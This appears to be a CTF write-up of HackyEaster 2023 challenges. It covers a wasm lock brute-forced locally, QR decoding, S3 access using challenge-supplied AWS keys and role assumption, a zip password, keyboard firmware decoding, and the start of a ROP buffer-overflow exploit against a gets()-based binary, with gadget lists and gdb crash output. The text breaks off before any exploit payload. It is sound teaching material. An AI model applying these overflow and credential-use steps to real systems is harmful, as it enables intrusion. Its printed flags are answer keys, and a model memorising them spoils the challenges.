HEAP32[($3_1 + 8 | 0) >> 2] = HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 8 | 0) >> 2] | 0;
label$6 : {
if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 12 | 0) >> 2] | 0 | 0) == (HEAP32[($3_1 + 8 | 0) >> 2] | 0 | 0) & 1 | 0)) {
break label$6
}
label$7 : {
if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 16 | 0) >> 2] | 0 | 0) == ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) - 6 | 0 | 0) & 1 | 0)) {
break label$7
}
label$8 : {
if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 20 | 0) >> 2] | 0 | 0) == ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) - 5 | 0 | 0) & 1 | 0)) {
break label$8
}
if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 24 | 0) >> 2] | 0 | 0) == ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) - 2 | 0 | 0) & 1 | 0)) {
break label$8
}
if (!((HEAP32[((HEAP32[($3_1 + 12 | 0) >> 2] | 0) + 28 | 0) >> 2] | 0 | 0) == ((HEAP32[($3_1 + 8 | 0) >> 2] | 0) - 1 | 0 | 0) & 1 | 0)) {
break label$8
}
$1(HEAP32[($3_1 + 12 | 0) >> 2] | 0 | 0);
break label$1;
}
}
}
break label$3;
}
$2(HEAP32[($3_1 + 12 | 0) >> 2] | 0 | 0);
break label$1;
}
$2(HEAP32[($3_1 + 12 | 0) >> 2] | 0 | 0);
}
global$0 = $3_1 + 16 | 0;
return;
}
function $4() {
return global$0 | 0;
}
function $5($0) {
$0 = $0 | 0;
global$0 = $0;
}
function $6($0) {
$0 = $0 | 0;
var $1_1 = 0;
$1_1 = (global$0 - $0 | 0) & -16 | 0;
global$0 = $1_1;
return $1_1 | 0;
}
function $7() {
global$2 = 5244240;
global$1 = (1356 + 15 | 0) & -16 | 0;
}
function $8() {
return global$0 - global$1 | 0 | 0;
}
function $9() {
return global$2 | 0;
}
function $10() {
return global$1 | 0;
}
function $11() {
return 1352 | 0;
}
bufferView = HEAPU8;
initActiveSegments(env);
var FUNCTION_TABLE = Table([]);
function __wasm_memory_size() {
return buffer.byteLength / 65536 | 0;
}
return {
"memory": Object.create(Object.prototype, {
"grow": {
},
"buffer": {
"get": function () {
return buffer;
}
}
}),
"check": $3,
"__indirect_function_table": FUNCTION_TABLE,
"__errno_location": $11,
"emscripten_stack_init": $7,
"emscripten_stack_get_free": $8,
"emscripten_stack_get_base": $9,
"emscripten_stack_get_end": $10,
"stackSave": $4,
"stackRestore": $5,
"stackAlloc": $6
};
}
var retasmFunc = asmFunc( { abort: function() { throw new Error('abort'); }
});
export var memory = retasmFunc.memory;
export var check = retasmFunc.check;
export var __errno_location = retasmFunc.__errno_location;
export var emscripten_stack_init = retasmFunc.emscripten_stack_init;
export var emscripten_stack_get_free = retasmFunc.emscripten_stack_get_free;
export var emscripten_stack_get_base = retasmFunc.emscripten_stack_get_base;
export var emscripten_stack_get_end = retasmFunc.emscripten_stack_get_end;
export var stackSave = retasmFunc.stackSave;
export var stackRestore = retasmFunc.stackRestore;
export var stackAlloc = retasmFunc.stackAlloc;
This bit looks promising:
1
2
3
4
5
6
$ echo WAAAAFQAAAAGAAAABQAAAAAAAAAKAAAATQAAAEEAAAADAAAAUwAAAAAAAAAAAAAABwAAAAoAAABbAAAADgAAAAEAAABIAAAAawAAAAQAAAAHAAAAZgAAAHAAAABjAAAAfgAAAEwAAAAAAAAAAAAAAFgAAABUAAAABgAAAAUAAAAAAAAACgAAAE0AAABBAAAAAwAAAFMAAAAAAAAAAAAAAAcAAAAKAAAAWwAAAA4AAAABAAAASAAAAGsAAAAEAAAABwAAAGYAAABwAAAAYwAAAH4AAABMAAAAAAAAAAAAAABZAAAAbwAAAHUAAAAgAAAAZAAAAGkAAABkAAAAIAAAAG4AAABvAAAAdAAAACAAAABvAAAAcAAAAGUAAABuAAAAIAAAAHQAAABoAAAAZQAAACAAAABsAAAAbwAAAGMAAABrAAAAIQAAAA== | base64 -d
XT
MAS
[Hkfpc~LXT
MAS
[Hkfpc~LYou did not open the lock!%
but it’s not, yet.
Ok, let’s change gears, since we cannot reverse the wasm code. An 8 digit code is within bruteforcing range. But we don’t want to bruteforce the server, so can we do it locally?
We tried a bunch of ways to execute the wasm binary locally, but what ended up being easiest was using Chrome. In Developer tools you can use local overrides (instructions), so we can adapt the main.js
to bruteforce the code for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[..]
function bruteforce(){
for (let i = 10000000; i< 999999999; i++){ // let's hope the code doesnt start with 0 so we dont have to figure out leftpadding
if(i%10000000 == 0){
console.log("checking codes starting with "+i/10000000);
}
msg=checkWASM(i.toString());
if(msg.startsWith("he2023")) {
console.log(code+": "+msg);
return;
}
}
}
$(document).ready(function () {
(async () => {
const response = await fetch("check.wasm");
const file = await response.arrayBuffer();
const wasm = await WebAssembly.instantiate(file);
const {memory, check} = wasm.instance.exports;
wasmMemory = memory;
wasmCheck = check;
//bruteforce the code
console.log("bruteforcing");
bruteforce();
})();
})
and keep an eye on our console, and after about 10 seconds we get our flag!
1
2
3
4
5
6
main.js:99 bruteforcing
main.js:32 searching..
main.js:35 chacking codes starting with 0
main.js:35 chacking codes starting with 1
main.js:35 chacking codes starting with 2
main.js:46 29660145: he2023{w3b4553m81y_15_FUN}
whoo!
Flag
he2023{w3b4553m81y_15_FUN}
Quilt
Challenge
A warm, sunny day - perfect weather for a picnic! But what’s that - did the bunnies really bring the nice quilt from the living room as a blanket?
Solution
First, split the quilt up into individual QR codes:
1
convert quilt.png -crop 69x69 +repage +adjoin 'quilt-%03d.png'
Let’s read them all, it can’t be this easy right?
1
for i in quilt-*; do zbarimg $i 2>/dev/null| grep QR-Code | sed 's/QR-Code://g' >> quilt.txt; done
But maybe it is?
1
cat quilt.txt | tr -d '\n'
which results in:
Hello! Do you love quilts? Well… I am pretty sure I do! They are so pretty.. my oh my, but look at me getting lost in idle thoughts! You are here for an egg, right? I bet you are. Where did I put it? Ah, here he2023{this_is_th… No, sorry, that is not it. That was an old one, can you believe it? This maybe? he2023{I_need_this_egg_for_breakfast}. Nooo.. sorry! But I am fairly sure this is it, right here he2023{Qu1lt1ng_is_quit3_relaxing!} Yeah, that should be it. Sorry. I am rambling, but it is so nice to have a visitor appreciating my quilts! They are a lot of work, and I love all of them. Please, do not leave so soon. How about a cookie? Would you like a cookie? Hey, where are you going?
And the third one is it.
Flag
he2023{Qu1lt1ng_is_quit3_relaxing!}
Cats in the Bucket
Challenge
There is a bucket full of cat images. One of them contains a flag. Go get it!
1
2
3
Bucket: cats-in-a-bucket
Access Key ID: AKIATZ2X44NMCEQW46PL
Secret Access Key: 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
Solution
We got a bucket name, so try a region:
When we visit http://cats-in-a-bucket.s3-website-eu-west-1.amazonaws.com/ we get the message
1
2
3
4
5
6
7
8
400 Bad Request
- Code: IncorrectEndpoint
- Message: The specified bucket exists in another region. Please direct requests to the specified endpoint.
- Endpoint: cats-in-a-bucket.s3-website.eu-central-1.amazonaws.com
- RequestId: FB490WD7T4HGKGVW
- HostId: 6O/1HC9Rkpbz7CTt0N9LdLU8HBDG4r+soXelEScHgHp+opFS5f+hrlJEFUEJdDlTJwu8gLhCK9U=
ok so we go to cats-in-a-bucket.s3-website.eu-central-1.amazonaws.com, and here we see
1
2
3
4
5
6
7
404 Not Found
- Code: NoSuchWebsiteConfiguration
- Message: The specified bucket does not have a website configuration
- BucketName: cats-in-a-bucket
- RequestId: PM3VWVHPJF5P9JKR
- HostId: jOkYruD+efHf1nGXz/NehA/fVQxgqYrbm8c+Ia/4nl+fAnhO8ldZK40Z6WJM/1BYRL/RU8ymw58=
so there is no website, but we got the right bucket, now what? We have the access keys
we use awscli for further exploration:
1
2
3
$ aws s3 ls s3://cats-in-a-bucket
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
ok, let’s set up our credentials
1
2
3
4
5
$ aws configure
AWS Access Key ID [****************UWDA]: AKIATZ2X44NMCEQW46PL
AWS Secret Access Key [****************8Kup]: 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
Default region name [us-east-1]: eu-central-1
Default output format [None]:
and try again:
1
2
3
4
5
6
$ aws s3 ls s3://cats-in-a-bucket
2022-10-09 17:23:46 83709 cat1.jpg
2022-10-09 17:23:48 92350 cat2.jpg
2022-10-09 17:23:47 119214 cat3.jpg
2022-10-09 17:23:47 87112 cat4.jpg
ok, let’s download those files:
1
2
3
4
5
6
7
8
$ aws s3 cp s3://cats-in-a-bucket/cat1.jpg .
download: s3://cats-in-a-bucket/cat1.jpg to ./cat1.jpg
$ aws s3 cp s3://cats-in-a-bucket/cat2.jpg .
download: s3://cats-in-a-bucket/cat2.jpg to ./cat2.jpg
$ aws s3 cp s3://cats-in-a-bucket/cat3.jpg .
download: s3://cats-in-a-bucket/cat3.jpg to ./cat3.jpg
$ aws s3 cp s3://cats-in-a-bucket/cat4.jpg .
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
We get 3 very cute cat pictures
but an error on the fourth image, hmm..
maybe an older version didnt have the restriction?
1
2
3
$ aws s3api list-object-versions --bucket cats-in-a-bucket
An error occurred (AccessDenied) when calling the ListObjectVersions operation: Access Denied
ok, let’s look at the policies that are set
1
$ aws s3api get-bucket-policy --bucket cats-in-a-bucket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
{
"Statement": [
{
"Action": [
"s3:ListBucket",
"s3:GetBucketPolicy"
],
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::261640479576:user/misterbuttons"
},
"Resource": "arn:aws:s3:::cats-in-a-bucket"
},
{
"Action": "s3:GetObject",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::261640479576:user/misterbuttons"
},
"Resource": [
"arn:aws:s3:::cats-in-a-bucket/cat1.jpg",
"arn:aws:s3:::cats-in-a-bucket/cat2.jpg",
"arn:aws:s3:::cats-in-a-bucket/cat3.jpg"
]
},
{
"Action": "s3:ListBucket",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::261640479576:role/captainclaw"
},
"Resource": "arn:aws:s3:::cats-in-a-bucket"
},
{
"Action": "s3:GetObject",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::261640479576:role/captainclaw"
},
"Resource": "arn:aws:s3:::cats-in-a-bucket/cat4.jpg"
}
],
"Version": "2008-10-17"
}
ok, so cat4.jpg
is only accessible for the captainclaw
role. Let’s set that up:
in ~/.aws/config
we set:
1
2
3
4
5
6
[default]
region = eu-central-1
[profile cat]
role_arn = arn:aws:iam::261640479576:role/captainclaw
source_profile = default
and try downloading again:
1
2
$ aws s3 cp --profile cat s3://cats-in-a-bucket/cat4.jpg .
download: s3://cats-in-a-bucket/cat4.jpg to ./cat4.jpg
whoo, success!
Flag
he2023{r013_assum3d_succ3ssfuLLy}
Tom's Diary
Challenge
Tom found a flag and wrote something about it in his diary.
Can you get the flag?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// // // // // // // // // // // // // // // // // // // // // //
// // // // // // // // // // // // // // // // // // // // // //
Tom's Diary
\/\ \\\/ / \/\ /\\ /\ \/\ //\ /\/ /\// //\/ /\// /\/ //\ /\\\ \\/\
\/\ \\\/ / \/\ /\\ /\ \/\ //\ /\/ /\// //\/ /\// /\/ //\ /\\\ \\/\
Dear diary,
today I found a secret flag.
I need to keep it safe here:
UEsDBAoACQAAAJJEK1X6oNHsKgAAAB4AAAAIABwAZmxhZy50eHRVVAkAA/OBHWOR
gR1jdXgLAAEE9QEAAAQUAAAArGnVXoZRCLYaWU8HFSFo+dWfh2yfPa868sNqxTVP
xqHrGTs3dIVbxR9WUEsHCPqg0ewqAAAAHgAAAFBLAQIeAwoACQAAAJJEK1X6oNHs
KgAAAB4AAAAIABgAAAAAAAEAAACkgQAAAABmbGFnLnR4dFVUBQAD84EdY3V4CwAB
BPUBAAAEFAAAAFBLBQYAAAAAAQABAE4AAAB8AAAAAAA=
\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\
\\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\ \\
Hint: Neither brute force nor word lists are necessary.
Solution
Let’s see what is in this base64 string:
1
2
3
4
5
6
$ echo "UEsDBAoACQAAAJJEK1X6oNHsKgAAAB4AAAAIABwAZmxhZy50eHRVVAkAA/OBHWORgR1jdXgLAAEE9QEAAAQUAAAArGnVXoZRCLYaWU8HFSFo+dWfh2yfPa868sNqxTVPxqHrGTs3dIVbxR9WUEsHCPqg0ewqAAAAHgAAAFBLAQIeAwoACQAAAJJEK1X6oNHsKgAAAB4AAAAIABgAAAAAAAEAAACkgQAAAABmbGFnLnR4dFVUBQAD84EdY3V4CwABBPUBAAAEFAAAAFBLBQYAAAAAAQABAE4AAAB8AAAAAAA=" | base64 -d
PK
D+Uflag.txtUT ccux
i^YO!h՟l=:j5Oơ;7t[VP*PK
D+Uflag.txtUTcux
That looks like a zip file, let’s output it to a file
1
$ echo "UEsDBAoACQAAAJJEK1X6oNHsKgAAAB4AAAAIABwAZmxhZy50eHRVVAkAA/OBHWORgR1jdXgLAAEE9QEAAAQUAAAArGnVXoZRCLYaWU8HFSFo+dWfh2yfPa868sNqxTVPxqHrGTs3dIVbxR9WUEsHCPqg0ewqAAAAHgAAAFBLAQIeAwoACQAAAJJEK1X6oNHsKgAAAB4AAAAIABgAAAAAAAEAAACkgQAAAABmbGFnLnR4dFVUBQAD84EdY3V4CwABBPUBAAAEFAAAAFBLBQYAAAAAAQABAE4AAAB8AAAAAAA=" | base64 -d > diary.zip
let’s try to unzip it:
1
2
3
$ unzip diary.zip
Archive: diary.zip
[diary.zip] flag.txt password:
ok it needs a password, hmm..
the hint tells us we don’t need brute force or a wordlist, so we must be able to find the password somewhere.
We google the line of slashes that’s in the diary file
1
\/\ \\\/ / \/\ /\\ /\ \/\ //\ /\/ /\// //\/ /\// /\/ //\ /\\\ \\/\
And find that this could be Tom Tom Code, well that certainly fits with the challenge title. We decode it on dcode.fr and find it translates to
1
slashesforprofit
We enter this as the password for the zip file and get our flag!
Flag
he2023{sl4sh3s_m4k3_m3_h4ppy}
Custom Keyboard
Challenge
Thumper built his first custom keyboard. He chose all the parts separately and in the end even adjusted the firmware.
Apparently, there’s a flag hidden inside it. Can you find it?
🚩 Flag
- lowercase and _ only
- example:
he2023{example_flag_only}
Solution
1
2
$ file custom_keyboard.elf
custom_keyboard.elf: ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, with debug_info, not stripped
is we run strings
on the file, we find the string /home/hacker/qmk_firmware
..
so we suspect this is Quantum Mechanical Keyboard firmware
1
2
3
4
5
6
$ objdump -dS custom_keyboard.elf
custom_keyboard.elf: file format elf32-little
objdump: can't disassemble for architecture UNKNOWN!
So we find a useful Docker container containing binutils and gdb for various architectures (here)
and inside this docker we can run commands like objdump for our file, and find:
1
2
3
4
5
6
7
$ avr-elf-objdump custom_keyboard.elf -dS --section=.data
[..]
00800216 <flag_leds.8>:
800216: 22 18 0b 03 0b 0a 10 1f 18 25 26 02 1f 13 23 22 "........%&...#"
800226: 16 02 16 22 18 02 19 27 15 0f ..."...'..
[..]
which looks kindof suspicious .. are these codes for keys on the keyboard?
.. this definitely fits with being the flag, 22 18 0b 03 0b 0a
would be he2023
, and the 2
s are the same code, 3
is one differnce with 2
, etc (interestingly 3 is lower code than 2, the difference between our supposed h
and e
is not their difference in ASCII but, still this seems like the flag, just need to figure out the encoding
so the theory is that the flag is something like:
1
2
22 18 0b 03 0b 0a 10 1f 18 25 26 02 1f 13 23 22 16 02 16 22 18 02 19 27 15 0f
h e 2 0 2 3 { e h h e }
so what if this isn’t ascii based encoding, but keyboard based, 2 and 3 are one apart on the keyboard too (if you list them by row), let’s see if we can get this to work for the rest of the keys/letters..
We just make a list of codes, fill in what we (think we) know to be the mapping, and find out that we can fill in the missing mappings based on how each row on a qwerty keyboard is laid out! codes seem to correspond with keys row by row from top to bottom, with each row listed rom right to left:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
00 BACKSPACE
01 +
02 _
03 0 // known
04 9
05 8
06 7
07 6
08 5
09 4
0a 3 // known
0b 2 // known
0c 1
0d `
0e ENTER (?)
0f { // known
10 } // known
11 p
12 o
13 i // used
14 u
15 y // used
16 t // used
17 r
18 e // known
19 w // used
1a q
1b TAB
1c |
1d "
1e ;
1f l // used
20 k
21 j
22 h // known
23 g // used
24 f
25 d // used
26 s // used
27 a // used
28 CAPS
29
..
[ bottom row of keyboard, but not used in flag so we don't write it out]
..
Filling in the letters based on this pattern gets us the flag!!
1
2
22 18 0b 03 0b 0a 10 1f 18 25 26 02 1f 13 23 22 16 02 16 22 18 02 19 27 15 0f
h e 2 0 2 3 { l e d s _ l i g h t _ t h e _ w a y }
Whoo!
I really thought this was going to be the end of my HackyEaster journey here, had everything solved besides this one and the other hard challenge of this level, which were both binary/pwn challenges which is not my strong suit, and needed to solve at least on of them to advance to the next level, but here we are! Wonder if there was a nicer/better way to get there, but some guesswork and pattern recognition got me there I guess.
Flag
he2023{leds_light_the_way}
Thumper's PWN 2
Challenge
Thumper got one step closer to Dr. Evil but there’s still a lot he has to learn. That’s why he’s practicing the ancient art of ROP. Help him solve this challenge by reading the file FLAG, so he can be on his way.
Target: nc ch.hackyeaster.com 2314
Note: The service is restarted every hour at x:00.
Solution
We get a main.c
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdbool.h>
#include "seccomp-bpf.h"
bool sec_done = false;
void activate_seccomp()
{
struct sock_filter filter[] = {
VALIDATE_ARCHITECTURE,
EXAMINE_SYSCALL,
ALLOW_SYSCALL(mprotect),
ALLOW_SYSCALL(mmap),
ALLOW_SYSCALL(munmap),
ALLOW_SYSCALL(exit_group),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(close),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(brk),
ALLOW_SYSCALL(newfstatat),
ALLOW_SYSCALL(fstat),
ALLOW_SYSCALL(ioctl),
ALLOW_SYSCALL(lseek),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
sec_done = true;
}
void vuln() {
char buf[32];
printf("Are you a master of ROP?\n");
printf("Show me what you can do: ");
gets(buf);
}
void main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
if (!sec_done) {
activate_seccomp();
}
vuln();
}
When googling, one can find pretty much pre-composed ROP exploits to read a file named ‘flag’ (32 bit), we just need to know how to adapt it to our situation. Additionally this article is quite instructive (and leads to python at the end)
We can then combine this, hopefully with ROPgadget
to find apporpriate gadgets:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
user@p-ctf:~/Downloads/thumperspwn2$ ropgadget --binary main --only "pop|ret"
Gadgets information
============================================================
0x00000000004007fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400800 : pop r14 ; pop r15 ; ret
0x0000000000400802 : pop r15 ; ret
0x00000000004007fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ff : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400608 : pop rbp ; ret
0x0000000000400803 : pop rdi ; ret
0x0000000000400801 : pop rsi ; pop r15 ; ret
0x00000000004007fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400536 : ret
0x0000000000400542 : ret 0x200a
0x00000000004006f2 : ret 0x2be
Unique gadgets found: 13
sas
good reading: https://devel0pment.de/?p=2282
We unzip the file and find an executable called main
When we execute it, we are asked to provide an input, an not much seems to happen after that:
1
2
3
./main
Are you a master of ROP?
Show me what you can do: Hello World
Let’s see what happens if we give it a long string:
1
2
3
4
$ ./main
Are you a master of ROP?
Show me what you can do: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1] 266408 segmentation fault (core dumped) ./main
We experiment a bit more, and see that if we give it 40 characters we get
1
2
3
4
$ ./main
Are you a master of ROP?
Show me what you can do: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1] 266372 invalid system call (core dumped) ./main
invalid system call, interesting.
Let’s look at the binary more closely:
1
2
$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f60bf91ea714b5e0970b4f71f112d78ae4515b9e, not stripped
We examine it with Radare2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ r2 -A main
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis
-- Bindiff two files with '$ radiff2 /bin/true /bin/false'
[0x004005a0]> iI
arch x86
baddr 0x400000
binsz 6766
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
nx true
os linux
pic false
relocs true
relro partial
rpath NONE
sanitize false
static false
stripped false
subsys linux
va true
So it is a 64-bit ELF binary, which is dynamically linked, not stripped, without stack canaries, nx enabled, no pic and partial relro
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[0x004005a0]> afl
0x004005a0 1 42 entry0
0x004005e0 4 37 sym.deregister_tm_clones
0x00400610 4 55 sym.register_tm_clones
0x00400650 3 29 sym.__do_global_dtors_aux
0x00400680 1 7 sym.frame_dummy
0x00400810 1 2 sym.__libc_csu_fini
0x00400711 1 57 sym.vuln
0x00400550 1 6 sym.imp.puts
0x00400570 1 6 sym.imp.printf
0x00400590 1 6 sym.imp.gets
0x00400814 1 9 sym._fini
0x00400687 1 138 sym.activate_seccomp
0x00400580 1 6 sym.imp.prctl
0x004007a0 4 101 sym.__libc_csu_init
0x004005d0 1 2 sym._dl_relocate_static_pie
0x0040074a 3 81 main
0x00400560 1 6 sym.imp.setbuf
0x00400520 3 23 sym._init
and a vuln
function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x004005a0]> pdf @ sym.vuln
; CALL XREF from main @ 0x400793(x)
┌ 57: sym.vuln ();
│ ; var char *s @ rbp-0x20
│ 0x00400711 55 push rbp
│ 0x00400712 4889e5 mov rbp, rsp
│ 0x00400715 4883ec20 sub rsp, 0x20
│ 0x00400719 488d3d280200. lea rdi, str.Are_you_a_master_of_ROP_ ; 0x400948 ; "Are you a master of ROP?" ; const char *s
│ 0x00400720 e82bfeffff call sym.imp.puts ; int puts(const char *s)
│ 0x00400725 488d3d350200. lea rdi, str.Show_me_what_you_can_do:_ ; 0x400961 ; "Show me what you can do: " ; const char *format
│ 0x0040072c b800000000 mov eax, 0
│ 0x00400731 e83afeffff call sym.imp.printf ; int printf(const char *format)
│ 0x00400736 488d45e0 lea rax, [s]
│ 0x0040073a 4889c7 mov rdi, rax ; char *s
│ 0x0040073d b800000000 mov eax, 0
│ 0x00400742 e849feffff call sym.imp.gets ; char *gets(char *s)
│ 0x00400747 90 nop
│ 0x00400748 c9 leave
└ 0x00400749 c3 ret
here the unsafe gets
function is used, where we simply get to provide our input and the function return
We examine it with gdb-peda
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ gdb ./main
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./main...
(No debugging symbols found in ./main)
create pattern
1
2
gdb-peda$ pattern_create 200 ./pattern
Writing pattern of 200 chars to filename "./pattern"
run with pattern
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
gdb-peda$ r < ./pattern [35/1770]
Starting program: /home/saskia/code/github/shiltemann/CTF-writeups-galaxians/website/writeups/HackyEaster_2023/writeupfiles/thumper2/main < ./pattern
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Are you a master of ROP?
Show me what you can do:
Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdd20 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAAr
AAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RBX: 0x0
RCX: 0x7ffff7e19aa0 --> 0xfbad209b
RDX: 0x1
RSI: 0x1
RDI: 0x7ffff7e1ba80 --> 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdd48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x400749 (<vuln+56>: ret)
R8 : 0x0
R9 : 0x0
R10: 0x7ffff7c09c78 --> 0xf0022000043b3
R11: 0x246
R12: 0x7fffffffde68 --> 0x7fffffffe261 ("/home/saskia/code/github/shiltemann/CTF-writeups-galaxians/website/writeups/HackyEaster_2023/writeupfiles/thumper2/main")
R13: 0x40074a (<main>: push rbp)
R14: 0x0
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400742 <vuln+49>: call 0x400590 <gets@plt>
0x400747 <vuln+54>: nop
0x400748 <vuln+55>: leave
=> 0x400749 <vuln+56>: ret
0x40074a <main>: push rbp
0x40074b <main+1>: mov rbp,rsp
0x40074e <main+4>: mov rax,QWORD PTR [rip+0x2008fb] # 0x601050 <stdout@@GLIBC_2.2.5>
0x400755 <main+11>: mov esi,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffdd50 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0x7fffffffdd58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
